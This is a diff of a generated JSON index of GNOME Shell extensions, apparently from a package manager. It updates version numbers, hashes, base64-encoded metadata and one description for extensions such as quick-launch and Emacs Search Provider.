+    "47": {"version": "12", "sha256": "0g6mz2vibka1dg030vbijxpw29121jlj3zsxb3b042s21s72d9fc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEyCn0="},
+    "48": {"version": "12", "sha256": "0g6mz2vibka1dg030vbijxpw29121jlj3zsxb3b042s21s72d9fc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkxpc3RlbiB0byBRdXJhbiByZWNpdGF0aW9ucyBkaXJlY3RseSBmcm9tIHlvdXIgR05PTUUgU2hlbGwuIEZlYXR1cmVzIG11bHRpcGxlIHJlY2l0ZXJzIHdpdGggYXVkaW8gZnJvbSBRdXJhbkNlbnRyYWwuY29tIGFuZCBBcmNoaXZlLm9yZyBzZXJ2ZXJzLiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJnaXRodWIiOiAiaHR0cHM6Ly9naXRodWIuY29tL2ZheW1heiIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJxdXJhbi1wbGF5ZXIiLAogICJuYW1lIjogIlF1cmFuIFBsYXllciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5xdXJhbi1wbGF5ZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZmF5bWF6L3F1cmFuLXBsYXllciIsCiAgInV1aWQiOiAicXVyYW4tcGxheWVyQGZheW1hei5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEyCn0="}
   }}
 , {"uuid": "timeFromStart@pic16f877ccs.github.com", "name": "Time from start (Uptime)", "pname": "time-from-start-uptime", "description": "Shows the start time and duration of the system and user operation.", "link": "https://extensions.gnome.org/extension/7993/time-from-start-uptime/", "shell_version_map": {
     "45": {"version": "3", "sha256": "0r6q1phn4r6klcnzq3g9syvasr5i33y5z89423iqz3lp5qicwhnx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIHRoZSBzdGFydCB0aW1lIGFuZCBkdXJhdGlvbiBvZiB0aGUgc3lzdGVtIGFuZCB1c2VyIG9wZXJhdGlvbi4iLAogICJuYW1lIjogIlRpbWUgZnJvbSBzdGFydCAoVXB0aW1lKSIsCiAgInNlc3Npb24tbW9kZXMiOiBbCiAgICAidW5sb2NrLWRpYWxvZyIsCiAgICAidXNlciIKICBdLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudGltZS1mcm9tLXN0YXJ0IiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vcGljMTZmODc3Y2NzL1RpbWUtZnJvbS1zdGFydCIsCiAgInV1aWQiOiAidGltZUZyb21TdGFydEBwaWMxNmY4NzdjY3MuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAzCn0="},
@@ -9147,7 +9175,7 @@
     "47": {"version": "1", "sha256": "01i9j2wwbxjf96pf75ayhym2z0w8sfyrrdj502mnrh4dr612kgzv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIktlZXAgeW91ciBmYXZvcml0ZSBhcHBsaWNhdGlvbnMgaW4geW91ciBhcHBsaWNhdGlvbnMgZ3JpZC4iLAogICJuYW1lIjogIkZhdm9yaXRlcyB0byBBcHBsaWNhdGlvbnMgR3JpZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL05pZmZpcmdrY2FKL2Zhdm9yaXRlcy10by1hcHBncmlkIiwKICAidXVpZCI6ICJmYXZvcml0ZXMtdG8tYXBwZ3JpZEBOaWZmaXJna2NhSi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEKfQ=="},
     "48": {"version": "1", "sha256": "01i9j2wwbxjf96pf75ayhym2z0w8sfyrrdj502mnrh4dr612kgzv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIktlZXAgeW91ciBmYXZvcml0ZSBhcHBsaWNhdGlvbnMgaW4geW91ciBhcHBsaWNhdGlvbnMgZ3JpZC4iLAogICJuYW1lIjogIkZhdm9yaXRlcyB0byBBcHBsaWNhdGlvbnMgR3JpZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL05pZmZpcmdrY2FKL2Zhdm9yaXRlcy10by1hcHBncmlkIiwKICAidXVpZCI6ICJmYXZvcml0ZXMtdG8tYXBwZ3JpZEBOaWZmaXJna2NhSi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDEKfQ=="}
   }}
-, {"uuid": "quicklaunch@comitanigiacomo.github.com", "name": "quick-launch", "pname": "quick-launch", "description": "Supercharge your GNOME workflow with this sleek top-bar dock:\n\n ~ 1-Click Access - Launch apps/websites instantly\n ~ Full Customization - Resize icons, adjust spacing, toggle labels\n ~ Live Activity Indicators - Color-coded dots for running apps\n ~ Smart Search - Find+pin apps directly from the menu\n ~ 10 Keyboard Shortcuts - Instant launches with custom keybinds\n ~ Web Links Support - Pin frequently visited URLs\n ~ Auto-Start Essentials - Launch critical apps on login\n ~ Flexible Positioning - Left/Center/Right panel placement\n ~ Press-to-Reorder - Intuitive visual organization\n ~ Smart Limiter - Focus on what matters (max 10 items)", "link": "https://extensions.gnome.org/extension/8005/quick-launch/", "shell_version_map": {
+, {"uuid": "quicklaunch@comitanigiacomo.github.com", "name": "quick-launch", "pname": "quick-launch", "description": "Supercharge your workflow with quick app launches from the top panel — minimal design, maximum productivity\n\n ~ 1-Click Access - Launch apps/websites instantly\n ~ Full Customization - Resize icons, adjust spacing, toggle labels\n ~ Live Activity Indicators - Color-coded dots for running apps\n ~ Smart Search - Find+pin apps directly from the menu\n ~ 10 Keyboard Shortcuts - Instant launches with custom keybinds\n ~ Web Links Support - Pin frequently visited URLs\n ~ Auto-Start Essentials - Launch critical apps on login\n ~ Flexible Positioning - Left/Center/Right panel placement\n ~ Press-to-Reorder - Intuitive visual organization\n ~ Smart Limiter - Focus on what matters (max 10 items)", "link": "https://extensions.gnome.org/extension/8005/quick-launch/", "shell_version_map": {
     "45": {"version": "5", "sha256": "0lzwaizsl59wrbxf1fkd11panwy4k21rc9ka2yhfh6hkjj5h8gy7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWF0b3IiOiAiY29taXRhbmlnaWFjb21vIiwKICAiZGVzY3JpcHRpb24iOiAiU3VwZXJjaGFyZ2UgeW91ciBHTk9NRSB3b3JrZmxvdyB3aXRoIHRoaXMgc2xlZWsgdG9wLWJhciBkb2NrOlxuXG4gfiAxLUNsaWNrIEFjY2VzcyAtIExhdW5jaCBhcHBzL3dlYnNpdGVzIGluc3RhbnRseVxuIH4gRnVsbCBDdXN0b21pemF0aW9uIC0gUmVzaXplIGljb25zLCBhZGp1c3Qgc3BhY2luZywgdG9nZ2xlIGxhYmVsc1xuIH4gTGl2ZSBBY3Rpdml0eSBJbmRpY2F0b3JzIC0gQ29sb3ItY29kZWQgZG90cyBmb3IgcnVubmluZyBhcHBzXG4gfiBTbWFydCBTZWFyY2ggLSBGaW5kK3BpbiBhcHBzIGRpcmVjdGx5IGZyb20gdGhlIG1lbnVcbiB+IDEwIEtleWJvYXJkIFNob3J0Y3V0cyAtIEluc3RhbnQgbGF1bmNoZXMgd2l0aCBjdXN0b20ga2V5YmluZHNcbiB+IFdlYiBMaW5rcyBTdXBwb3J0IC0gUGluIGZyZXF1ZW50bHkgdmlzaXRlZCBVUkxzXG4gfiBBdXRvLVN0YXJ0IEVzc2VudGlhbHMgLSBMYXVuY2ggY3JpdGljYWwgYXBwcyBvbiBsb2dpblxuIH4gRmxleGlibGUgUG9zaXRpb25pbmcgLSBMZWZ0L0NlbnRlci9SaWdodCBwYW5lbCBwbGFjZW1lbnRcbiB+IFByZXNzLXRvLVJlb3JkZXIgLSBJbnR1aXRpdmUgdmlzdWFsIG9yZ2FuaXphdGlvblxuIH4gU21hcnQgTGltaXRlciAtIEZvY3VzIG9uIHdoYXQgbWF0dGVycyAobWF4IDEwIGl0ZW1zKSIsCiAgIm5hbWUiOiAicXVpY2stbGF1bmNoIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcC1waW5uZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInN0eWxlc2hlZXQiOiAic3R5bGVzaGVldC5jc3MiLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NvbWl0YW5pZ2lhY29tby9xdWlja2xhdW5jaCIsCiAgInV1aWQiOiAicXVpY2tsYXVuY2hAY29taXRhbmlnaWFjb21vLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
     "46": {"version": "5", "sha256": "0lzwaizsl59wrbxf1fkd11panwy4k21rc9ka2yhfh6hkjj5h8gy7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWF0b3IiOiAiY29taXRhbmlnaWFjb21vIiwKICAiZGVzY3JpcHRpb24iOiAiU3VwZXJjaGFyZ2UgeW91ciBHTk9NRSB3b3JrZmxvdyB3aXRoIHRoaXMgc2xlZWsgdG9wLWJhciBkb2NrOlxuXG4gfiAxLUNsaWNrIEFjY2VzcyAtIExhdW5jaCBhcHBzL3dlYnNpdGVzIGluc3RhbnRseVxuIH4gRnVsbCBDdXN0b21pemF0aW9uIC0gUmVzaXplIGljb25zLCBhZGp1c3Qgc3BhY2luZywgdG9nZ2xlIGxhYmVsc1xuIH4gTGl2ZSBBY3Rpdml0eSBJbmRpY2F0b3JzIC0gQ29sb3ItY29kZWQgZG90cyBmb3IgcnVubmluZyBhcHBzXG4gfiBTbWFydCBTZWFyY2ggLSBGaW5kK3BpbiBhcHBzIGRpcmVjdGx5IGZyb20gdGhlIG1lbnVcbiB+IDEwIEtleWJvYXJkIFNob3J0Y3V0cyAtIEluc3RhbnQgbGF1bmNoZXMgd2l0aCBjdXN0b20ga2V5YmluZHNcbiB+IFdlYiBMaW5rcyBTdXBwb3J0IC0gUGluIGZyZXF1ZW50bHkgdmlzaXRlZCBVUkxzXG4gfiBBdXRvLVN0YXJ0IEVzc2VudGlhbHMgLSBMYXVuY2ggY3JpdGljYWwgYXBwcyBvbiBsb2dpblxuIH4gRmxleGlibGUgUG9zaXRpb25pbmcgLSBMZWZ0L0NlbnRlci9SaWdodCBwYW5lbCBwbGFjZW1lbnRcbiB+IFByZXNzLXRvLVJlb3JkZXIgLSBJbnR1aXRpdmUgdmlzdWFsIG9yZ2FuaXphdGlvblxuIH4gU21hcnQgTGltaXRlciAtIEZvY3VzIG9uIHdoYXQgbWF0dGVycyAobWF4IDEwIGl0ZW1zKSIsCiAgIm5hbWUiOiAicXVpY2stbGF1bmNoIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcC1waW5uZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInN0eWxlc2hlZXQiOiAic3R5bGVzaGVldC5jc3MiLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NvbWl0YW5pZ2lhY29tby9xdWlja2xhdW5jaCIsCiAgInV1aWQiOiAicXVpY2tsYXVuY2hAY29taXRhbmlnaWFjb21vLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
     "47": {"version": "5", "sha256": "0lzwaizsl59wrbxf1fkd11panwy4k21rc9ka2yhfh6hkjj5h8gy7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImNyZWF0b3IiOiAiY29taXRhbmlnaWFjb21vIiwKICAiZGVzY3JpcHRpb24iOiAiU3VwZXJjaGFyZ2UgeW91ciBHTk9NRSB3b3JrZmxvdyB3aXRoIHRoaXMgc2xlZWsgdG9wLWJhciBkb2NrOlxuXG4gfiAxLUNsaWNrIEFjY2VzcyAtIExhdW5jaCBhcHBzL3dlYnNpdGVzIGluc3RhbnRseVxuIH4gRnVsbCBDdXN0b21pemF0aW9uIC0gUmVzaXplIGljb25zLCBhZGp1c3Qgc3BhY2luZywgdG9nZ2xlIGxhYmVsc1xuIH4gTGl2ZSBBY3Rpdml0eSBJbmRpY2F0b3JzIC0gQ29sb3ItY29kZWQgZG90cyBmb3IgcnVubmluZyBhcHBzXG4gfiBTbWFydCBTZWFyY2ggLSBGaW5kK3BpbiBhcHBzIGRpcmVjdGx5IGZyb20gdGhlIG1lbnVcbiB+IDEwIEtleWJvYXJkIFNob3J0Y3V0cyAtIEluc3RhbnQgbGF1bmNoZXMgd2l0aCBjdXN0b20ga2V5YmluZHNcbiB+IFdlYiBMaW5rcyBTdXBwb3J0IC0gUGluIGZyZXF1ZW50bHkgdmlzaXRlZCBVUkxzXG4gfiBBdXRvLVN0YXJ0IEVzc2VudGlhbHMgLSBMYXVuY2ggY3JpdGljYWwgYXBwcyBvbiBsb2dpblxuIH4gRmxleGlibGUgUG9zaXRpb25pbmcgLSBMZWZ0L0NlbnRlci9SaWdodCBwYW5lbCBwbGFjZW1lbnRcbiB+IFByZXNzLXRvLVJlb3JkZXIgLSBJbnR1aXRpdmUgdmlzdWFsIG9yZ2FuaXphdGlvblxuIH4gU21hcnQgTGltaXRlciAtIEZvY3VzIG9uIHdoYXQgbWF0dGVycyAobWF4IDEwIGl0ZW1zKSIsCiAgIm5hbWUiOiAicXVpY2stbGF1bmNoIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFwcC1waW5uZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInN0eWxlc2hlZXQiOiAic3R5bGVzaGVldC5jc3MiLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2NvbWl0YW5pZ2lhY29tby9xdWlja2xhdW5jaCIsCiAgInV1aWQiOiAicXVpY2tsYXVuY2hAY29taXRhbmlnaWFjb21vLmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
@@ -9210,10 +9238,10 @@
     "43": {"version": "2", "sha256": "1r8qrv0kzrm3ick9fllf4ga8rj55vr60d61r3ga31ndd092vayly", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgdGhlIGhvbHkgY3Jvc3Mgb24gd2hpY2ggSmVzdXMgQ2hyaXN0IGRpZWQgc28gdGhhdCB0aGUgcHJlc2VuY2Ugb2YgR29kIGlzIHdpdGggeW91IiwKICAibmFtZSI6ICJDaHJpc3RpYW4gY3Jvc3MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjMuMzYiLAogICAgIjMuMzgiLAogICAgIjQwIiwKICAgICI0MSIsCiAgICAiNDIiLAogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vSW5sZWQtR3JvdXAvY3J1emNyaXN0aWFuYS1nbm9tZSIsCiAgInV1aWQiOiAiY3J1emNyaXN0aWFuYUBpbmxlZC5lcyIsCiAgInZlcnNpb24iOiAyCn0="}
   }}
 , {"uuid": "emacs-search-provider@hron.github.com", "name": "Emacs Search Provider", "pname": "emacs-search-provider", "description": "Search for your Emacs projects easily", "link": "https://extensions.gnome.org/extension/8064/emacs-search-provider/", "shell_version_map": {
-    "45": {"version": "3", "sha256": "1ljs8ls5wiag8szmzq09ys2ly2fspzl6gya5iad1vjvzwngnm6cr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="},
-    "46": {"version": "3", "sha256": "1ljs8ls5wiag8szmzq09ys2ly2fspzl6gya5iad1vjvzwngnm6cr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="},
-    "47": {"version": "3", "sha256": "1ljs8ls5wiag8szmzq09ys2ly2fspzl6gya5iad1vjvzwngnm6cr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="},
-    "48": {"version": "3", "sha256": "1ljs8ls5wiag8szmzq09ys2ly2fspzl6gya5iad1vjvzwngnm6cr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDMKfQ=="}
+    "45": {"version": "4", "sha256": "0dwxjas5bpx787x48jr56zwcwnq067v668jayvjz3xd8920mq6gz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
+    "46": {"version": "4", "sha256": "0dwxjas5bpx787x48jr56zwcwnq067v668jayvjz3xd8920mq6gz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
+    "47": {"version": "4", "sha256": "0dwxjas5bpx787x48jr56zwcwnq067v668jayvjz3xd8920mq6gz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
+    "48": {"version": "4", "sha256": "0dwxjas5bpx787x48jr56zwcwnq067v668jayvjz3xd8920mq6gz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlYXJjaCBmb3IgeW91ciBFbWFjcyBwcm9qZWN0cyBlYXNpbHkiLAogICJkb25hdGlvbnMiOiB7CiAgICAiZ2l0aHViIjogImhyb24iCiAgfSwKICAibmFtZSI6ICJFbWFjcyBTZWFyY2ggUHJvdmlkZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2hyb24vZW1hY3Mtc2VhcmNoLXByb3ZpZGVyIiwKICAidXVpZCI6ICJlbWFjcy1zZWFyY2gtcHJvdmlkZXJAaHJvbi5naXRodWIuY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="}
   }}
 , {"uuid": "disable-gestures-wayland@zonetra", "name": "Disable Gestures Wayland", "pname": "disable-gestures-wayland", "description": "Completely disables all touchpad gestures in GNOME Shell on Wayland - YES, including the 3-finger swipes!", "link": "https://extensions.gnome.org/extension/8066/disable-gestures-wayland/", "shell_version_map": {
